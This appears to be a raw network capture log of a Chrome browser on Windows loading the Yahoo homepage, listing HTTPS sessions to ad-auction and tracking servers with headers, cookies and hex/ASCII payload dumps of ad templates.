A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:38 UTC	1196	OUT	Data Raw: 7b 22 69 64 22 3a 22 32 38 61 31 36 63 62 39 2d 63 36 63 38 2d 34 36 36 38 2d 61 39 61 32 2d 36 37 34 39 61 62 66 61 63 66 66 61 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 33 39 38 39 36 31 31 37 33 39 33 35 30 32 33 33 31 37 30 34 39 32 39 32 35 37 36 33 37 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 34 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 37 32 38 2c 22 68 22 3a 39 30 7d 5d 7d 2c 22 65 78 74 22 3a 7b 22 64 Data Ascii: {"id":"28a16cb9-c6c8-4668-a9a2-6749abfacffa","cur":["USD"],"imp":[{"id":"39896117393502331704929257637","secure":1,"bidfloor":0.4,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":728,"h":90}]},"ext":{"d
2024-01-10 23:27:38 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:38 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
731	192.168.2.4	50584	172.64.151.101	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	426	OUT	GET /openrtb/pbjs?s=1057985 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:39 UTC	610	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:39 GMT Content-Type: application/json Connection: close CF-Ray: 8438b11d684e7fca-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=ZjSXc26Q68FeCDc6jVgXfePiQGnapYLtR5p8f%2BamCHdDb2f2ROFvzaadMOZKTQj1qu6Sv9%2F7HwMQxwZaQixv36ZMIIbSni337Rqqb%2Fc0%2FuRrpS6%2BWlGZ1Ul4P0egFExqLOdDXvfQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port
732	192.168.2.4	50585	34.120.63.153	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:38 UTC	1041	OUT	GET /rtb/prebid?cid=8CUQ66JUO HTTP/1.1 Host: prebid.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1; data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8; data-pba=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~8; data-bs=f6435827-796b-4521-81e9-11e581628f69~~1
2024-01-10 23:27:39 UTC	357	IN	HTTP/1.1 204 No Content content-type: text/html;charset=utf-8 content-language: en Content-Length: 0 date: Wed, 10 Jan 2024 23:27:39 GMT x-envoy-upstream-service-time: 1 server: envoy Via: 1.1 google Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
733	192.168.2.4	50586	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:39 UTC	1686	OUT	POST /p?s=2023538075&t=1704929258527&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&pd=unknown&pt=home&A_utm=%7B%22GAM_TOP_CENTER_BRSTIME%22%3A6418%2C%22GAM_TOP_CENTER_FTIME%22%3A7893%2C%22GAM_TOP_CENTER_RTIME%22%3A31387%7D HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:39 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:39 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:39 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
734	192.168.2.4	50587	172.253.122.156	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:39 UTC	2969	OUT	GET /gampad/ads?pvsid=3448363400861391&correlator=4204928572246785&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_center&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5&prev_iu_szs=970x250%7C3x1%7C728x90&ifi=6&sfv=1-0-40&fsfs=1&fsbs=1&rcs=1&eri=5&sc=1&cookie_enabled=1&gpic=UID%3D00000db622e915a6%3AT%3D1704929235%3ART%3D1704929235%3AS%3DALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w&abxe=1&dt=1704929258522&adxs=147&adys=344&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=3&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=1280x280&msz=1280x280&fws=2052&ohw=1263&psts=AOrYGskQrqccn11iLdko544g_wThj00AMOyts0HtiZbjvQaKyFXdR_5E3PUffWlrGn5-m3F4pZuBjTCbkiIep7LEcwb9mbCi7X2phv1ux-_fbw4VICCQ%2CAOrYGslXqzWxZnMwa10HhsoG5C0a%2CAOrYGslXqzWxZnMwa10HhsoG5C0a&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfY2VudGVyIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_center%26ri%3D1%26y_pgid%3D6%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_plcmt%3D206512146%26y_crid%3D206512146%26y_bdp%3D0.12%26y_sz%3D970x250%26y_act%3DheaderBid%26y_bid%3D25082%26y_fp%3Djhbc%26y_ufr%3D1%26y_dp%3D0%26y_dt%3DO%26y_ref%3D1&cust_params=bucket%3Ddrop_heimdall_homepage_control_bucket%252CMimicProviderListv2-copy%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26pt%3Dhome%26spaceid%3D2023538075%26yrid%3D0gast8pipu9uc%26bka%3D0%26y_bx%3D1&adks=3690920304&frm=20 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Ad-Auction-Fetch: ?1 Origin: https://www.yahoo.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:40 UTC	874	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Observe-Browsing-Topics: ?1 Google-LineItem-Id: -2 Google-Creative-Id: -2 Google-MediationGroup-Id: -2 Google-MediationTag-Id: -2 Date: Wed, 10 Jan 2024 23:27:39 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:40 UTC	378	IN	Data Raw: 32 30 65 0d 0a 7b 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 79 68 70 2f 6d 61 69 6e 2f 64 74 2f 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 32 35 30 2c 39 37 30 2c 31 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 49 44 3d 38 31 62 33 63 61 64 39 66 32 61 64 62 63 66 39 3a 54 3d 31 37 30 34 39 32 39 32 35 39 3a 52 54 3d 31 37 30 34 39 32 39 32 35 39 3a 53 3d 41 4c 4e 49 5f 4d 62 34 6c 42 41 4d 46 4d 77 78 54 62 35 6b 70 73 35 74 54 79 55 77 33 61 33 54 4f 77 22 2c 31 37 33 38 36 32 35 32 35 39 2c 22 2f 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 31 5d 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: 20e{"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_center":["html",0,null,null,0,250,970,1,0,null,null,null,null,[["ID=81b3cad9f2adbcf9:T=1704929259:RT=1704929259:S=ALNI_Mb4lBAMFMwxTb5kps5tTyUw3a3TOw",1738625259,"/","yahoo.com",1]],null,null,null,null,
2024-01-10 23:27:40 UTC	155	IN	Data Raw: 53 51 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 33 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 5d 7d 0a 0a 0d 0a Data Ascii: SQ",null,null,null,null,null,null,null,null,null,null,null,null,null,null,"3",null,null,null,null,null,null,null,null,null,null,null,null,null,null,1]}
2024-01-10 23:27:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
735	192.168.2.4	50588	34.111.85.214	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:40 UTC	1196	OUT	GET /rtb/yhb?cid=8YHBJ3BJ0 HTTP/1.1 Host: m.hb.yahoo.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
2024-01-10 23:27:40 UTC	202	IN	HTTP/1.1 204 No Content server: nginx date: Wed, 10 Jan 2024 23:27:40 GMT Access-Control-Allow-Credentials: true via: 1.1 google Access-Control-Allow-Origin: Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
736	192.168.2.4	50591	74.6.143.22	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:40 UTC	795	OUT	GET /api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D HTTP/1.1 Host: nts.media.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:40 UTC	548	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 access-control-allow-origin: https://www.yahoo.com y-rid: 05he2g9ipu9vc x-request-id: 57682ee2-6eff-4dfd-9c50-d5f8ba353931 vary: Accept-Encoding, User-Agent x-envoy-upstream-service-time: 234 date: Wed, 10 Jan 2024 23:27:40 GMT server: ATS x-envoy-decorator-operation: monetization-templates-service--mtls-fp-production-bf1.analytics-monetization--k8s.svc.yahoo.local:4080/* Age: 0 Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:40 UTC	801	IN	Data Raw: 37 65 39 65 0d 0a 7b 22 61 64 73 22 3a 5b 7b 22 61 64 50 6f 73 69 74 69 6f 6e 22 3a 22 4d 41 53 54 22 2c 22 61 64 53 69 7a 65 22 3a 22 39 37 30 78 32 35 30 22 2c 22 70 72 65 54 61 70 41 64 46 6f 72 6d 61 74 22 3a 22 54 45 58 54 5f 4f 50 54 4f 55 54 5f 4d 4d 22 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 3c 21 2d 2d 20 4d 41 53 54 20 74 65 6d 70 6c 61 74 65 20 2d 2d 3e 5c 6e 3c 73 74 79 6c 65 20 6d 65 64 69 61 3d 5c 22 73 63 72 65 65 6e 5c 22 3e 5c 6e 20 20 20 20 2e 61 63 74 2d 73 61 6e 73 2d 73 65 6c 65 63 74 7b 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6c 6c 6f 75 74 3a 20 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 75 73 65 72 2d 73 65 6c 65 63 74 3a 20 6e 6f 6e 65 3b 2d 6b 68 74 6d 6c 2d 75 73 65 72 2d 73 65 Data Ascii: 7e9e{"ads":[{"adPosition":"MAST","adSize":"970x250","preTapAdFormat":"TEXT_OPTOUT_MM","template":"... MAST template -->\n<style media=\"screen\">\n .act-sans-select{cursor: pointer;-webkit-touch-callout: none;-webkit-user-select: none;-khtml-user-se
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 6f 6e 74 3a 20 32 36 70 78 20 5c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 5c 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 74 6f 70 3a 20 35 30 25 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 2d 35 30 25 29 3b 7d 5c 6e 20 20 20 20 23 61 63 74 2d 73 68 61 64 65 20 7b 6f 70 61 63 69 74 79 3a 20 30 2e 37 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 38 70 78 20 23 30 30 30 30 30 30 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 38 70 78 20 23 30 30 30 30 30 30 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e 73 65 74 20 30 20 30 20 38 70 78 20 23 30 30 Data Ascii: ont: 26px \"Helvetica Neue\",Helvetica,Arial,sans-serif;font-weight: bold; top: 50%; transform: translateY(-50%);}\n #act-shade {opacity: 0.7;-moz-box-shadow: inset 0 0 8px #000000;-webkit-box-shadow: inset 0 0 8px #000000;box-shadow: inset 0 0 8px #00
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 62 73 6f 6c 75 74 65 3b 20 63 6f 6c 6f 72 3a 20 72 67 62 28 31 37 37 2c 20 31 37 37 2c 20 31 38 32 29 3b 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 20 74 6f 70 3a 20 35 30 25 3b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 30 25 2c 20 2d 35 30 25 29 3b 5c 22 3e 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 5c 22 77 69 64 74 68 3a 20 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 32 30 70 78 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 31 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 72 67 62 28 31 37 37 2c 20 31 37 37 2c 20 31 38 32 29 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 5c 22 3e 5c 6e 20 20 20 20 20 20 20 Data Ascii: bsolute; color: rgb(177, 177, 182); cursor: pointer; top: 50%; transform: translate(0%, -50%);\">\n <div style=\"width: 20px; height: 20px; border-radius: 11px; background-color: rgb(177, 177, 182); position: relative; float: right;\">\n
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 2c 5c 6e 20 20 20 20 20 20 20 20 74 79 70 65 3a 20 27 4d 61 73 74 20 53 74 61 74 69 63 27 5c 6e 20 20 20 20 7d 3b 5c 6e 20 20 20 20 77 69 6e 64 6f 77 2e 41 43 54 20 3d 20 77 69 6e 64 6f 77 2e 41 43 54 20 7c 7c 20 7b 7d 3b 5c 6e 20 20 20 20 77 69 6e 64 6f 77 2e 41 43 54 2e 67 52 65 73 70 6f 6e 73 65 20 3d 20 7b 20 72 65 73 70 6f 6e 73 65 3a 20 7b 5c 6e 20 20 5c 22 61 64 73 5c 22 3a 20 5b 7b 5c 6e 20 20 20 20 5c 22 62 65 61 63 6f 6e 5c 22 3a 20 5c 22 68 74 74 70 73 3a 2f 2f 61 2e 62 65 61 70 2e 67 65 6d 69 6e 69 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6d 62 63 73 63 3f 62 76 3d 33 2e 30 2e 30 26 65 73 3d 41 51 41 41 41 47 70 32 4a 42 71 48 62 67 4e 64 6c 55 64 78 6d 68 4a 69 48 70 36 61 50 62 39 55 73 50 6a 72 5a 67 77 76 66 6a 69 6f 7a 6f 6a 6d 4f 42 53 34 70 30 Data Ascii: ,\n type: 'Mast Static'\n };\n window.ACT = window.ACT \|\| {};\n window.ACT.gResponse = { response: {\n \"ads\": [{\n \"beacon\": \"https://a.beap.gemini.yahoo.com/mbcsc?bv=3.0.0&es=AQAAAGp2JBqHbgNdlUdxmhJiHp6aPb9UsPjrZgwvfjiozojmOBS4p0
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 35 30 35 32 29 29 26 72 3d 31 37 30 34 39 32 39 32 36 30 37 30 38 26 61 6c 3d 24 28 41 44 5f 46 45 45 44 42 41 43 4b 29 5c 5c 5c 22 2c 5c 5c 5c 22 61 64 76 65 72 74 69 73 65 72 5f 69 64 5c 5c 5c 22 3a 5c 5c 5c 22 31 37 35 35 39 38 33 5c 5c 5c 22 2c 5c 5c 5c 22 61 66 62 5f 63 66 67 5f 75 72 6c 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 61 66 62 2e 61 64 78 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6e 61 74 69 76 65 2f 63 6f 6e 66 69 67 3f 61 66 3d 54 45 58 54 5f 4f 50 54 4f 55 54 5f 4d 4d 26 73 6c 3d 24 28 41 44 5f 46 45 45 44 42 41 43 4b 5f 53 49 54 45 5f 4c 4f 43 41 4c 45 29 26 64 74 3d 24 28 41 44 5f 46 45 45 44 42 41 43 4b 5f 44 45 56 49 43 45 5f 54 59 50 45 29 5c 5c 5c 22 2c 5c 5c 5c 22 61 73 73 65 74 73 5c 5c 5c 22 3a 5b 7b 5c 5c 5c 22 73 74 79 6c 65 Data Ascii: 5052))&r=1704929260708&al=$(AD_FEEDBACK)\\\",\\\"advertiser_id\\\":\\\"1755983\\\",\\\"afb_cfg_url\\\":\\\"https://afb.adx.yahoo.com/native/config?af=TEXT_OPTOUT_MM&sl=$(AD_FEEDBACK_SITE_LOCALE)&dt=$(AD_FEEDBACK_DEVICE_TYPE)\\\",\\\"assets\\\":[{\\\"style
